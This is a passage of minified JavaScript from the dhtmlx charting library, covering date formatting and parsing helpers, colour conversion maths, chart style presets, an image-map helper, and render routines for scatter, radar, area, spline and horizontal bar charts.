Date(a.valueOf())},date_to_str:function(c,a){c=c.replace(/%[a-zA-Z]/g,function(e){switch(e){case\"%d\":return'\"+dhtmlx.Date.to_fixed(date.getDate())+\"';case\"%m\":return'\"+dhtmlx.Date.to_fixed((date.getMonth()+1))+\"';case\"%j\":return'\"+date.getDate()+\"';case\"%n\":return'\"+(date.getMonth()+1)+\"';case\"%y\":return'\"+dhtmlx.Date.to_fixed(date.getFullYear()%100)+\"';case\"%Y\":return'\"+date.getFullYear()+\"';case\"%D\":return'\"+dhtmlx.Date.Locale.day_short[date.getDay()]+\"';case\"%l\":return'\"+dhtmlx.Date.Locale.day_full[date.getDay()]+\"';case\"%M\":return'\"+dhtmlx.Date.Locale.month_short[date.getMonth()]+\"';case\"%F\":return'\"+dhtmlx.Date.Locale.month_full[date.getMonth()]+\"';case\"%h\":return'\"+dhtmlx.Date.to_fixed((date.getHours()+11)%12+1)+\"';case\"%g\":return'\"+((date.getHours()+11)%12+1)+\"';case\"%G\":return'\"+date.getHours()+\"';case\"%H\":return'\"+dhtmlx.Date.to_fixed(date.getHours())+\"';case\"%i\":return'\"+dhtmlx.Date.to_fixed(date.getMinutes())+\"';case\"%a\":return'\"+(date.getHours()>11?\"pm\":\"am\")+\"';case\"%A\":return'\"+(date.getHours()>11?\"PM\":\"AM\")+\"';case\"%s\":return'\"+dhtmlx.Date.to_fixed(date.getSeconds())+\"';case\"%W\":return'\"+dhtmlx.Date.to_fixed(dhtmlx.Date.getISOWeek(date))+\"';default:return e}});if(a){c=c.replace(/date\\.get/g,\"date.getUTC\")}return new Function(\"date\",'return \"'+c+'\";')},str_to_date:function(h,e){var l=\"var temp=date.split(/[^0-9a-zA-Z]+/g);\";var a=h.match(/%[a-zA-Z]/g);for(var c=0;c<a.length;c++){switch(a[c]){case\"%j\":case\"%d\":l+=\"set[2]=temp[\"+c+\"]||1;\";break;case\"%n\":case\"%m\":l+=\"set[1]=(temp[\"+c+\"]||1)-1;\";break;case\"%y\":l+=\"set[0]=temp[\"+c+\"]*1+(temp[\"+c+\"]>50?1900:2000);\";break;case\"%g\":case\"%G\":case\"%h\":case\"%H\":l+=\"set[3]=temp[\"+c+\"]||0;\";break;case\"%i\":l+=\"set[4]=temp[\"+c+\"]||0;\";break;case\"%Y\":l+=\"set[0]=temp[\"+c+\"]||0;\";break;case\"%a\":case\"%A\":l+=\"set[3]=set[3]%12+((temp[\"+c+\"]||'').toLowerCase()=='am'?0:12);\";break;case\"%s\":l+=\"set[5]=temp[\"+c+\"]||0;\";break}}var g=\"set[0],set[1],set[2],set[3],set[4],set[5]\";if(e){g=\" Date.UTC(\"+g+\")\"}return new Function(\"date\",\"var set=[0,0,1,0,0,0]; \"+l+\" return new Date(\"+g+\");\")},getISOWeek:function(e){if(!e){return false}var c=e.getDay();if(c===0){c=7}var g=new Date(e.valueOf());g.setDate(e.getDate()+(4-c));var a=g.getFullYear();var l=Math.floor((g.getTime()-new Date(a,0,1).getTime())/86400000);var h=1+Math.floor(l/7);return h},getUTCISOWeek:function(a){return this.getISOWeek(a)}};dhtmlx.math={};dhtmlx.math._toHex=[\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\"];dhtmlx.math.toHex=function(c,a){c=parseInt(c,10);str=\"\";while(c>0){str=this._toHex[c%16]+str;c=Math.floor(c/16)}while(str.length<a){str=\"0\"+str}return str};dhtmlx.math.hexToDec=function(a){return parseInt(a,16)};dhtmlx.math.toRgb=function(c){var h,e,a,l;if(typeof(c)!=\"string\"){h=c[0];e=c[1];a=c[2]}else{if(c.indexOf(\"rgb\")!=-1){l=c.substr(c.indexOf(\"(\")+1,c.lastIndexOf(\")\")-c.indexOf(\"(\")-1).split(\",\");h=l[0];e=l[1];a=l[2]}else{if(c.substr(0,1)==\"#\"){c=c.substr(1)}h=this.hexToDec(c.substr(0,2));e=this.hexToDec(c.substr(2,2));a=this.hexToDec(c.substr(4,2))}}h=(parseInt(h,10)||0);e=(parseInt(e,10)||0);a=(parseInt(a,10)||0);if(h<0||h>255){h=0}if(e<0||e>255){e=0}if(a<0||a>255){a=0}return[h,e,a]};dhtmlx.math.hsvToRgb=function(m,y,w){var l,o,e,c,x,a,n,u;l=Math.floor((m/60))%6;o=m/60-l;e=w*(1-y);c=w*(1-o*y);x=w*(1-(1-o)*y);a=0;n=0;u=0;switch(l){case 0:a=w;n=x;u=e;break;case 1:a=c;n=w;u=e;break;case 2:a=e;n=w;u=x;break;case 3:a=e;n=c;u=w;break;case 4:a=x;n=e;u=w;break;case 5:a=w;n=e;u=c;break}a=Math.floor(a*255);n=Math.floor(n*255);u=Math.floor(u*255);return[a,n,u]};dhtmlx.math.rgbToHsv=function(c,n,o){var l,e,q,a,u,x,m,w;l=c/255;e=n/255;q=o/255;var a=Math.min(l,e,q);var u=Math.max(l,e,q);m=0;x=u==0?0:(1-a/u);w=u;if(u==a){m=0}else{if(u==l&&e>=q){m=60*(e-q)/(u-a)+0}else{if(u==l&&e<q){m=60*(e-q)/(u-a)+360}else{if(u==e){m=60*(q-l)/(u-a)+120}else{if(u==q){m=60*(l-e)/(u-a)+240}}}}}return[m,x,w]};if(!dhtmlx.presets){dhtmlx.presets={}}dhtmlx.presets.chart={simple:{item:{borderColor:\"#ffffff\",color:\"#2b7100\",shadow:false,borderWidth:2},line:{color:\"#8ecf03\",width:2}},plot:{color:\"#1293f8\",item:{borderColor:\"#636363\",borderWidth:1,color:\"#ffffff\",type:\"r\",shadow:false},line:{color:\"#1293f8\",width:2}},diamond:{color:\"#b64040\",item:{borderColor:\"#b64040\",color:\"#b64040\",type:\"d\",radius:3,shadow:true},line:{color:\"#ff9000\",width:2}},point:{color:\"#fe5916\",disableLines:true,fill:false,disableItems:false,item:{color:\"#feb916\",borderColor:\"#fe5916\",radius:2,borderWidth:1,type:\"r\"},alpha:1},line:{line:{color:\"#3399ff\",width:2},item:{color:\"#ffffff\",borderColor:\"#3399ff\",radius:2,borderWidth:2,type:\"d\"},fill:false,disableItems:false,disableLines:false,alpha:1},area:{fill:\"#3399ff\",line:{color:\"#3399ff\",width:1},disableItems:true,alpha:0.2,disableLines:false},round:{item:{radius:3,borderColor:\"#3f83ff\",borderWidth:1,color:\"#3f83ff\",type:\"r\",shadow:false,alpha:0.6}},square:{item:{radius:3,borderColor:\"#447900\",borderWidth:2,color:\"#69ba00\",type:\"s\",shadow:false,alpha:1}},column:{color:\"RAINBOW\",gradient:false,width:45,radius:0,alpha:1,border:true},stick:{width:5,gradient:false,color:\"#67b5c9\",radius:2,alpha:1,border:false},alpha:{color:\"#b9a8f9\",width:70,gradient:\"falling\",radius:0,alpha:0.5,border:true}};dhtmlx.ui.Map=function(a){this.name=\"Map\";this._id=\"map_\"+dhtmlx.uid();this._key=a;this._map=[]};dhtmlx.ui.Map.prototype={addRect:function(e,c,a){this._createMapArea(e,\"RECT\",c,a)},addPoly:function(e,c,a){this._createMapArea(e,\"POLY\",c,a)},_createMapArea:function(h,c,g,e){var a=\"\";if(arguments.length==4){a=\"userdata='\"+e+\"'\"}this._map.push(\"<area \"+this._key+\"='\"+h+\"' shape='\"+c+\"' coords='\"+g.join()+\"' \"+a+\"></area>\")},addSector:function(a,q,o,m,h,e,g,l){var n=[];n.push(m);n.push(Math.floor(h*g));for(var c=q;c<o;c+=Math.PI/18){n.push(Math.floor(m+e*Math.cos(c)));n.push(Math.floor((h+e*Math.sin(c))*g))}n.push(Math.floor(m+e*Math.cos(o)));n.push(Math.floor((h+e*Math.sin(o))*g));n.push(m);n.push(Math.floor(h*g));return this.addPoly(a,n,l)},render:function(a){var e=dhtmlx.html.create(\"DIV\");e.style.cssText=\"position:absolute; width:100%; height:100%; top:0px; left:0px;\";a.appendChild(e);var c=dhtmlx._isIE?\"\":\"src='data:image/gif;base64,R0lGODlhEgASAIAAAP///////yH5BAUUAAEALAAAAAASABIAAAIPjI+py+0Po5y02ouz3pwXADs='\";e.innerHTML=\"<map id='\"+this._id+\"' name='\"+this._id+\"'>\"+this._map.join(\"\\n\")+\"</map><img \"+c+\" class='dhx_map_img' usemap='#\"+this._id+\"' onmousedown='return false;'>\";a._htmlmap=e;this._map=[]}};dhtmlx.chart={};dhtmlx.chart.scatter={pvt_render_scatter:function(q,l,o,n,m,a){if(!this._settings.xValue){return dhtmlx.log(\"warning\",\"Undefined propery: xValue\")}var e=this._getLimits();var h=this._getLimits(\"h\",\"xValue\");if(!m){if(!this.canvases.x){this.canvases.x=new dhtmlx.ui.Canvas(this._obj,\"axis_x\")}if(!this.canvases.y){this.canvases.y=new dhtmlx.ui.Canvas(this._obj,\"axis_y\")}this._drawYAxis(this.canvases.y.getCanvas(),l,o,n,e.min,e.max);this._drawHXAxis(this.canvases.x.getCanvas(),l,o,n,h.min,h.max)}e={min:this._settings.yAxis.start,max:this._settings.yAxis.end};h={min:this._settings.xAxis.start,max:this._settings.xAxis.end};var c=this._getScatterParams(q,l,o,n,h,e);this._mapStart=o;for(var g=0;g<l.length;g++){this._drawScatterItem(q,a,o,n,c,h,e,l[g],m)}},_getScatterParams:function(a,g,e,c,m,l){var h={};h.totalHeight=c.y-e.y;h.totalWidth=c.x-e.x;this._calcScatterUnit(h,m.min,m.max,h.totalWidth,\"X\");this._calcScatterUnit(h,l.min,l.max,h.totalHeight,\"Y\");return h},_drawScatterItem:function(r,a,o,n,e,h,g,l,m){var c=this._calculateScatterItemPosition(e,n,o,h,l,\"X\");var q=this._calculateScatterItemPosition(e,o,n,g,l,\"Y\");this._drawItem(r,c,q,l,this._settings.label.call(this,l),m,a)},_calculateScatterItemPosition:function(e,n,m,a,h,c){var q=this._settings[c==\"X\"?\"xValue\":\"value\"].call(this,h);var g=e[\"valueFactor\"+c];var r=(parseFloat(q||0)-a.min)*g;var o=e[\"unit\"+c];var l=m[c.toLowerCase()]-(c==\"X\"?(-1):1)*Math.floor(o*r);if(r<0){l=m[c.toLowerCase()]}if(q>a.max){l=n[c.toLowerCase()]}if(q<a.min){l=m[c.toLowerCase()]}return l},_calcScatterUnit:function(l,e,a,c,g){var h=this._getRelativeValue(e,a);g=(g||\"\");l[\"relValue\"+g]=h[0];l[\"valueFactor\"+g]=h[1];l[\"unit\"+g]=(l[\"relValue\"+g]?c/l[\"relValue\"+g]:10)}};dhtmlx.chart.radar={pvt_render_radar:function(c,g,a,l,e,h){this._renderRadarChart(c,g,a,l,e,h)},_renderRadarChart:function(u,h,r,q,o,a){if(!h.length){return}var m=this._getPieParameters(r,q);var n=(this._settings.radius?this._settings.radius:m.radius);var c=(this._settings.x?this._settings.x:m.x);var s=(this._settings.y?this._settings.y:m.y);var e=[];for(var g=0;g<h.length;g++){e.push(1)}var l=this._getRatios(e,h.length);this._mapStart=r;if(!o){this._drawRadarAxises(l,c,s,n,h)}this._drawRadarData(u,l,c,s,n,h,o,a)},_drawRadarData:function(C,s,n,m,h,N,D,M){var A,v,L,J,E,I,g,e,F,K,H,u,c,w,q,o,a,r,l;L=this._settings;E=L.yAxis.start;I=L.yAxis.end;l=this._getRelativeValue(E,I);u=l[0];r=(u?h/u:h/2);a=l[1];c=-Math.PI/2;A=v=c;F=[];e=0;for(J=0;J<N.length;J++){if(!o){w=L.value(N[J]);q=(parseFloat(w||0)-E)*a}else{q=o}K=Math.floor(r*q);w=L.value((J!=(N.length-1))?N[J+1]:N[0]);o=(parseFloat(w||0)-E)*a;H=Math.floor(r*o);A=v;v=((J!=(N.length-1))?(c+s[J]-0.0001):c);g=(e||this._getPositionByAngle(A,n,m,K));e=this._getPositionByAngle(v,n,m,H);F.push(g)}if(L.fill){this._fillRadarChart(C,F,N)}if(!L.disableLines){this._strokeRadarChart(C,F,N)}if(!L.disableItems){this._drawRadarItemMarkers(C,F,N,D,M)}F=null},_drawRadarItemMarkers:function(a,e,h,g,l){for(var c=0;c<e.length;c++){this._drawItem(a,e[c].x,e[c].y,h[c],this._settings.label.call(this,h),g,l)}},_fillRadarChart:function(a,g,l){var h,e;a.globalAlpha=this._settings.alpha.call(this,{});a.beginPath();for(var c=0;c<g.length;c++){a.fillStyle=this._settings.fill.call(this,l[c]);h=g[c];e=(g[c+1]||g[0]);if(!c){a.moveTo(h.x,h.y)}a.lineTo(e.x,e.y)}a.fill();a.globalAlpha=1},_strokeRadarChart:function(a,g,l){var h,e;for(var c=0;c<g.length;c++){h=g[c];e=(g[c+1]||g[0]);this._drawLine(a,h.x,h.y,e.x,e.y,this._settings.line.color.call(this,l[c]),this._settings.line.width)}},_drawRadarAxises:function(A,v,u,m,O){var a=this._settings.yAxis;var g=this._settings.xAxis;var n=a.start;var l=a.end;var q=a.step;var C={};var N=this._configYAxis;if(typeof N.step==\"undefined\"||typeof N.start==\"undefined\"||typeof N.end==\"undefined\"){var r=this._getLimits();C=this._calculateScale(r.min,r.max);n=C.start;l=C.end;q=C.step;a.end=l;a.start=n}var I=[];var L,K,D;var M=0;var e=m*q/(l-n);var s,w;if(q<1){s=Math.min(this._log10(q),(n<=0?0:this._log10(n)));w=Math.pow(10,-s)}var J=[];if(!this.canvases.scale){this.canvases.scale=new dhtmlx.ui.Canvas(this._obj,\"radar_scale\")}var H=this.canvases.scale.getCanvas();for(L=l;L>=n;L-=q){if(C.fixNum){L=parseFloat((new Number(L)).toFixed(C.fixNum))}I.push(Math.floor(M*e)+0.5);if(w){L=Math.round(L*w)/w}var o=u-m+I[I.length-1];this.canvases.scale.renderTextAt(\"middle\",\"left\",v,o,a.template(L.toString()),\"dhx_axis_item_y dhx_radar\");if(A.length<2){this._drawScaleSector(H,\"arc\",v,u,m-I[I.length-1],-Math.PI/2,3*Math.PI/2,L);return}var h=-Math.PI/2;var F=h;var E;for(K=0;K<A.length;K++){if(L==l){J.push(F)}E=h+A[K]-0.0001;this._drawScaleSector(H,(N.lineShape||\"line\"),v,u,m-I[I.length-1],F,E,L,K,O[L]);F=E}M++}for(L=0;L<J.length;L++){D=this._getPositionByAngle(J[L],v,u,m);if(g.lines.call(this,O[L],L)){this._drawLine(H,v,u,D.x,D.y,(g?g.lineColor.call(this,O[L]):\"#cfcfcf\"),1)}this._drawRadarScaleLabel(H,v,u,m,J[L],(g?g.template.call(this,O[L]):\"&nbsp;\"))}},_drawScaleSector:function(s,l,r,o,h,c,a,g,e){var q,n;if(h<0){return false}q=this._getPositionByAngle(c,r,o,h);n=this._getPositionByAngle(a,r,o,h);var m=this._settings.yAxis;if(m.bg){s.beginPath();s.moveTo(r,o);if(l==\"arc\"){s.arc(r,o,h,c,a,false)}else{s.lineTo(q.x,q.y);s.lineTo(n.x,n.y)}s.fillStyle=m.bg(g,e);s.moveTo(r,o);s.fill();s.closePath()}if(m.lines.call(this,g)){s.lineWidth=1;s.beginPath();if(l==\"arc\"){s.arc(r,o,h,c,a,false)}else{s.moveTo(q.x,q.y);s.lineTo(n.x,n.y)}s.strokeStyle=m.lineColor.call(this,g);s.stroke()}},_drawRadarScaleLabel:function(w,o,m,c,n,u){var v=this.canvases.scale.renderText(0,0,u,\"dhx_axis_radar_title\",1);var e=v.scrollWidth;var s=v.offsetHeight;var q=0.001;var l=this._getPositionByAngle(n,o,m,c+5);var h=0,g=0;if(n<0||n>Math.PI){g=-s}if(n>Math.PI/2){h=-e}if(Math.abs(n+Math.PI/2)<q||Math.abs(n-Math.PI/2)<q){h=-e/2}else{if(Math.abs(n)<q||Math.abs(n-Math.PI)<q){g=-s/2}}v.style.top=l.y+g+\"px\";v.style.left=l.x+h+\"px\";v.style.width=e+\"px\";v.style.whiteSpace=\"nowrap\"}};dhtmlx.chart.area={pvt_render_area:function(n,E,h,g,o,A){var r,y,s,q,l,x,m,D,C,w,v,c,u,a,e;x=this._calculateLineParams(n,E,h,g,o);y=this._settings;q=(y.eventRadius||Math.floor(x.cellWidth/2));if(E.length){m=[];w=(!y.offset?h.x:h.x+x.cellWidth*0.5);for(s=0;s<E.length;s++){l=E[s];C=this._getPointY(l,h,g,x);u=w+x.cellWidth*s;if(C){a=(typeof C==\"object\"?C.y0:C);if(s&&this._settings.fixOverflow){D=this._getPointY(E[s-1],h,g,x);if(D.out&&D.out==C.out){continue}v=x.cellWidth*(s-1)-0.5+w;c=(typeof D==\"object\"?D.y0:D);if(D.out){e=(D.out==\"min\"?g.y:h.y);m.push([this._calcOverflowX(v,u,c,a,e),e])}if(C.out){e=(C.out==\"min\"?g.y:h.y);m.push([this._calcOverflowX(v,u,c,a,e),e]);if(s==(E.length-1)&&e==h.y){m.push([u,h.y])}}}if(!C.out){m.push([u,a]);A.addRect(l.id,[u-q-h.x,a-q-h.y,u+q-h.x,a+q-h.y],o)}if(!y.yAxis){r=(!y.offset&&(s==E.length-1)?\"left\":\"center\");this.canvases[o].renderTextAt(false,r,u,a-y.labelOffset,y.label(l))}}}if(m.length){m.push([u,g.y]);m.push([m[0][0],g.y])}n.globalAlpha=this._settings.alpha.call(this,E[0]);n.fillStyle=this._settings.color.call(this,E[0]);n.beginPath();this._path(n,m);n.fill();if(y.border){n.lineWidth=y.borderWidth||1;if(y.borderColor){n.strokeStyle=y.borderColor.call(this,E[0])}else{this._setBorderStyles(n,n.fillStyle)}n.beginPath();this._path(n,m);n.stroke()}n.lineWidth=1;n.globalAlpha=1}}};dhtmlx.chart.stackedArea={pvt_render_stackedArea:function(o,F,c,a,q,D){var I,H,u,C,w,v,h,s,l,A,n,g,e,m;A=this._calculateLineParams(o,F,c,a,q);C=this._settings;s=(C.eventRadius||Math.floor(A.cellWidth/2));if(F.length){n=[];m=[];g=(!C.offset?c.x:c.x+A.cellWidth*0.5);var E=function(x,J){return q?(F[x].$startY?J-a.y+F[x].$startY:0):J};var r=function(y,L,K){var J=(K.y-L.y)/(K.x-L.x);return J*y+L.y-J*L.x};for(w=0;w<F.length;w++){l=F[w];if(!w){e=E(w,a.y);n.push([g,e])}else{g+=A.cellWidth}e=E(w,this._getPointY(l,c,a,A));m.push((isNaN(e)&&!w)?(F[w].$startY||a.y):e);if(e){n.push([g,e]);D.addRect(l.id,[g-s-c.x,e-s-c.y,g+s-c.x,e+s-c.y],q);if(!C.yAxis){u=(!C.offset&&h?\"left\":\"center\");this.canvases[q].renderTextAt(false,u,g,e-C.labelOffset,C.label(l))}}}n.push([g,E(w-1,a.y)]);if(q){for(w=F.length-2;w>0;w--){g-=A.cellWidth;e=F[w].$startY;if(e){n.push([g,e])}}}n.push([n[0][0],n[0][1]]);o.globalAlpha=this._settings.alpha.call(this,F[0]);o.fillStyle=this._settings.color.call(this,F[0]);o.beginPath();this._path(o,n);o.fill();for(w=0;w<F.length;w++){e=m[w];if(!e){if(w==F.length-1){e=F[w].$startY}for(v=w+1;v<F.length;v++){if(m[v]){I={x:c.x,y:m[0]};H={x:(c.x+A.cellWidth*v),y:m[v]};e=r(c.x+A.cellWidth*w,I,H);break}}}F[w].$startY=e}}}};dhtmlx.chart.spline={pvt_render_spline:function(o,H,g,e,q,F){var E,s,n,r,D,m,l,w,v,u,h,c,a;D=this._calculateLineParams(o,H,g,e,q);E=this._settings;this._mapStart=g;n=[];if(H.length){w=(E.offset?g.x+D.cellWidth*0.5:g.x);for(s=0;s<H.length;s++){h=this._getPointY(H[s],g,e,D);if(h){l=((!s)?w:D.cellWidth*s-0.5+w);n.push({x:l,y:h,index:s})}}m=this._getSplineParameters(n);for(s=0;s<n.length;s++){v=n[s].x;c=n[s].y;if(s<n.length-1){u=n[s+1].x;a=n[s+1].y;for(r=v;r<u;r++){var C=this._getSplineYPoint(r,v,s,m.a,m.b,m.c,m.d);if(C<g.y){C=g.y}if(C>e.y){C=e.y}var A=this._getSplineYPoint(r+1,v,s,m.a,m.b,m.c,m.d);if(A<g.y){A=g.y}if(A>e.y){A=e.y}this._drawLine(o,r,C,r+1,A,E.line.color(H[s]),E.line.width)}this._drawLine(o,u-1,this._getSplineYPoint(r,v,s,m.a,m.b,m.c,m.d),u,a,E.line.color(H[s]),E.line.width)}this._drawItem(o,v,c,H[n[s].index],E.label(H[n[s].index]),q,F)}}},_getSplineParameters:function(y){var l,C,A,D,x,w,r,q,o=[],g=[],e=y.length;for(l=0;l<e-1;l++){o[l]=y[l+1].x-y[l].x;g[l]=(y[l+1].y-y[l].y)/o[l]}C=[];A=[];C[0]=0;C[1]=2*(o[0]+o[1]);A[0]=0;A[1]=6*(g[1]-g[0]);for(l=2;l<e-1;l++){C[l]=2*(o[l-1]+o[l])-o[l-1]*o[l-1]/C[l-1];A[l]=6*(g[l]-g[l-1])-o[l-1]*A[l-1]/C[l-1]}D=[];D[e-1]=D[0]=0;for(l=e-2;l>=1;l--){D[l]=(A[l]-o[l]*D[l+1])/C[l]}x=[];w=[];r=[];q=[];for(l=0;l<e-1;l++){x[l]=y[l].y;w[l]=-o[l]*D[l+1]/6-o[l]*D[l]/3+(y[l+1].y-y[l].y)/o[l];r[l]=D[l]/2;q[l]=(D[l+1]-D[l])/(6*o[l])}return{a:x,b:w,c:r,d:q}},_getSplineYPoint:function(g,l,m,h,e,o,n){return h[m]+(g-l)*(e[m]+(g-l)*(o[m]+(g-l)*n[m]))}};dhtmlx.chart.barH={pvt_render_barH:function(y,M,l,h,A,L){var q,s,D,C,a,F,n,J,u,K,c,w,m,H,v,g,x,r,I,e,o;D=(h.y-l.y)/M.length;n=this._getLimits(\"h\");J=n.max;u=n.min;g=h.x-l.x;o=!!this._settings.yAxis;if(!A){this._drawHScales(y,M,l,h,u,J,D)}if(o){J=parseFloat(this._settings.xAxis.end);u=parseFloat(this._settings.xAxis.start)}H=this._getRelativeValue(u,J);w=H[0];c=H[1];r=(w?g/w:10);if(!o){v=10;r=(w?(g-v)/w:10)}s=parseInt(this._settings.width,10);if((s*this._series.length+4)>D){s=D/this._series.length-4}q=Math.floor((D-s*this._series.length)/2);m=(typeof this._settings.radius!=\"undefined\"?parseInt(this._settings.radius,10):Math.round(s/5));K=false;a=this._settings.gradient;if(a&&typeof(a)!=\"function\"){K=a;a=false}else{if(a){a=y.createLinearGradient(l.x,l.y,h.x,l.y);this._settings.gradient(a)}}if(!o){this._drawLine(y,l.x-0.5,l.y,l.x-0.5,h.y,\"#000000\",1)}for(F=0;F<M.length;F++){x=parseFloat(this._settings.value(M[F]||0));if(x>J){x=J}x-=u;x*=c;I=l.x;e=l.y+q+F*D+(s+1)*A;if((x<0&&this._settings.origin==\"auto\")||(this._settings.xAxis&&x===0&&!(this._settings.origin!=\"auto\"&&this._settings.origin>u))){this.canvases[A].renderTextAt(\"middle\",\"right\",I+10,e+s/2+q,this._settings.label(M[F]));continue}if(x<0&&this._settings.origin!=\"auto\"&&this._settings.origin>u){x=0}if(!o){x+=v/r}C=a||this._settings.color.call(this,M[F]);if(this._settings.border){this._drawBarHBorder(y,I,e,s,u,m,r,x,C)}y.globalAlpha=this._settings.alpha.call(this,M[F]);var E=this._drawBarH(y,h,I,e,s,u,m,r,x,C,a,K);if(K!=false){this._drawBarHGradient(y,I,e,s,u,m,r,x,C,K)}y.globalAlpha=1;if(E[3]==e){this.canvases[A].renderTextAt(\"middle\",\"left\",E[0]-5,E[3]+Math.floor(s/2),this._settings.label(M[F]));L.addRect(M[F].id,[E[0]-l.x,E[3]-l.y,E[2]-l.x,E[3]+s-l.y],A)}else{this.canvases[A].renderTextAt(\"middle\",false,E[2]+5,E[1]+Math.floor(s/2),this._settings.label(M[F]));L.addRect(M[F].id,[E[0]-l.x,e-l.y,E[2]-l.x,E[3]-l.y],A)}}},_setBarHPoints:function(w,g,u,x,m,v,s,l,h){var c=0;if(m>v*s){var r=(m-v*s)/m;c=-Math.asin(r)+Math.PI/2}w.moveTo(g,u+l);var e=g+v*s-m-(m?0:l);if(m<v*s){w.lineTo(e,u+l)}var q=u+m;if(m&&m>0){w.arc(e,q,m-l,-Math.PI/2+c,0,false)}var o=u+x-m-(m?0:l);var a=e+m-(m?l:0);w.lineTo(a,o);if(m&&m>0){w.arc(e,o,m-l,0,Math.PI/2-c,false)}var n=u+x-l;w.lineTo(g,n);if(!h){w.lineTo(g,u+l)}return[a,n]},_drawHScales:function(e,m,l,h,n,c,g){var a=0;if(this._settings.xAxis){if(!this.canvases.x){this.canvases.x=new dhtmlx.ui.Canvas(this._obj)}a=this._drawHXAxis(this.canvases.x.getCanvas(),m,l,h,n,c)}if(this._settings.yAxis){if(!this.canvases.y){this.canvases.y=new dhtmlx.ui.Canvas(this._obj)}this._drawHYAxis(this.canvases.y.getCanvas(),m,l,h,g,a)}},_drawHYAxis:function(s,h,o,m,e,a){if(!this._settings.yAxis){return}var l;var c=parseInt((a?a:o.x),10)-0.5;var q=m.y+0.5;var n=o.y;this._drawLine(s,c,q,c,n,this._settings.yAxis.color,1);for(var g=0;g<h.length;g++){var r=((this._settings.origin!=\"auto\")&&(this._settings.view==\"barH\")&&(parseFloat(this._settings.value(h[g]))<this._settings.origin));l=n+e/2+g*e;this.canvases.y.renderTextAt(\"middle\",(r?false:\"left\"),(r?c+5:c-5),l,this._settings.yAxis.template(h[g]),\"dhx_axis_item_y\",(r?0:c-10));if(this._settings.yAxis.lines.call(this,h[g])){this._drawLine(s,o.x,l,m.x,l,this._settings.yAxis.lineColor.call(this,h[g]),1)}}this._drawLine(s,o.x+0.5,n+0.5,m.x,n+0.5,this._settings.yAxis.lineColor.call(this,{}),1);this._setYAxisTitle(o,m)},_drawHXAxis:function(A,s,x,w,e,o){var m;var h={};var n=this._settings.xAxis;if(!n){return}var y=w.y+0.5;var g=x.x-0.5;var a=w.x-0.5;var r=x.x;this._drawLine(A,g,y,a,y,n.color,1);if(n.step){m=parseFloat(n.step)}if(typeof this._configXAxis.step==\"undefined\"||typeof this._configXAxis.start==\"undefined\"||typeof this._configXAxis.end==\"undefined\"){h=this._calculateScale(e,o);e=h.start;o=h.end;m=h.step;this._settings.xAxis.end=o;this._settings.xAxis.start=e;this._settings.xAxis.step=m}if(m===0){return}var l=(a-g)*m/(o-e);var v=0;for(var q=e;q<=o;q+=m){if(h.fixNum){q=parseFloat((new Number(q)).toFixed(h.fixNum))}var u=Math.floor(g+v*l)+0.5;if(!(q==e&&this._settings.origin==\"auto\")&&n.lines.call(this,q)){this._drawLine(A,u,y,u,x.y,this._settings.xAxis.lineColor.call(this,q),1)}if(q==this._settings.origin){r=u+1}this.canvases.x.renderTextAt(false,true,u,y+2,n.template(q.toString()),\"dhx_axis_item_x\");v++}this.canvases.x.renderTextAt(true,false,g,w.y+this._settings.padding.bottom-3,this._settings.xAxis.title,\"dhx_axis_title_x\",w.x-x.x);if(!n.lines.call(this,{})){this._drawLine(A,g,x.y-0.5,a,x.y-0.5,this._settings.xAxis.color,0.2)}return r},_correctBarHParams:function(n,h,e,l,m,o,g){var a=this._settings.yAxis;var c=h;if(!!a&&this._settings.origin!=\"auto\"&&(this._settings.origin>g)){h+=(this._settings.origin-g)*m;c=h;l=l-(this._settings.origin-g);if(l<0){l*=(-1);n.translate(h,e+o);n.rotate(Math.PI);h=0.5;e=0}h+=0.5}return{value:l,x0:h,y0:e,start:c}},_drawBarH:function(u,h,A,g,o,q,l,n,s,v,a,m){u.save();var r=this._correctBarHParams(u,A,g,s,n,o,q);u.fillStyle=v;u.beginPath();var w=this._setBarHPoints(u,r.x0,r.y0,o,l,n,r.value,(this._settings.border?1:0));if(a&&!m){u.lineTo(h.x,r.y0+(this._settings.border?1:0))}u.fill();u.restore();var e=r.y0;var c=(r.y0!=g?g:w[1]);var y=(r.y0!=g?(r.start-w[0]):r.start);var x=(r.y0!=g?r.start:w[0]);return[y,e,x,c]},_drawBarHBorder:function(o,c,m,q,h,g,n,l,e){o.save();var a=this._correctBarHParams(o,c,m,l,n,q,h);o.beginPath();this._setBorderStyles(o,e);o.globalAlpha=0.9;this._setBarHPoints(o,a.x0,a.y0,q,g,n,a.value,o.lineWidth/2,1);o.stroke();o.restore()},_drawBarHGradient:function(r,e,o,s,m,l,q,n,g,a){r.save();var c=this._correctBarHParams(r,e,o,n,q,s,m);var h=this._setBarGradient(r,c.x0,c.y0+s,c.x0+q*c.value,c.y0,a,g,\"x\");r.fillStyle=h.gradient;r.beginPath();this._setBarHPoints(r,c.x0,c.y0+h.offset,s-h.offset*2,l,q,c.value,h.offset);r.fill();r.globalAlpha=1;r.restore()}};dhtmlx.assert(dhtmlx.chart.barH);dhtmlx.chart.stackedBarH={pvt_render_stackedBarH:function(C,P,h,g,D,O){var N,v;var c;var w;var y=g.x-h.x;var n=!!this._settings.yAxis;var m=this._getStackedLimits(P);N=m.max;v=m.min;var F=Math.floor((g.y-h.y)/P.length);if(!D){this._drawHScales(C,P,h,g,v,N,F)}if(n){N=parseFloat(this._settings.xAxis.end);v=parseFloat(this._settings.xAxis.start)}var K=this._getRelativeValue(v,N);w=K[0];c=K[1];var s=(w?y/w:10);if(!n){var x=10;s=(w?(y-x)/w:10)}var u=parseInt(this._settings.width,10);if((u+4)>F){u=F-4}var o=(F-u)/2;var l=0;var q=false;var a=this._settings.gradient;if(a){q=true}if(!n){this._drawLine(C,h.x-0.5,h.y,h.x-0.5,g.y,\"#000000\",1)}var M=0;var J=0;for(I=0;I<this._series.length;I++){if(I==D){J=M}if(this._series[I].view==\"stackedBarH\"){M++}}for(var I=0;I<P.length;I++){if(!J){P[I].$startX=h.x}var A=parseFloat(this._settings.value(P[I]||0));if(A>N){A=N}A-=v;A*=c;var L=h.x;var e=h.y+o+I*F;if(!J){P[I].$startX=L}else{L=P[I].$startX}if(A<0||(this._settings.yAxis&&A===0)){this.canvases.y.renderTextAt(\"middle\",true,L+10,e+u/2,this._settings.label(P[I]));continue}if(!n){A+=x/s}var 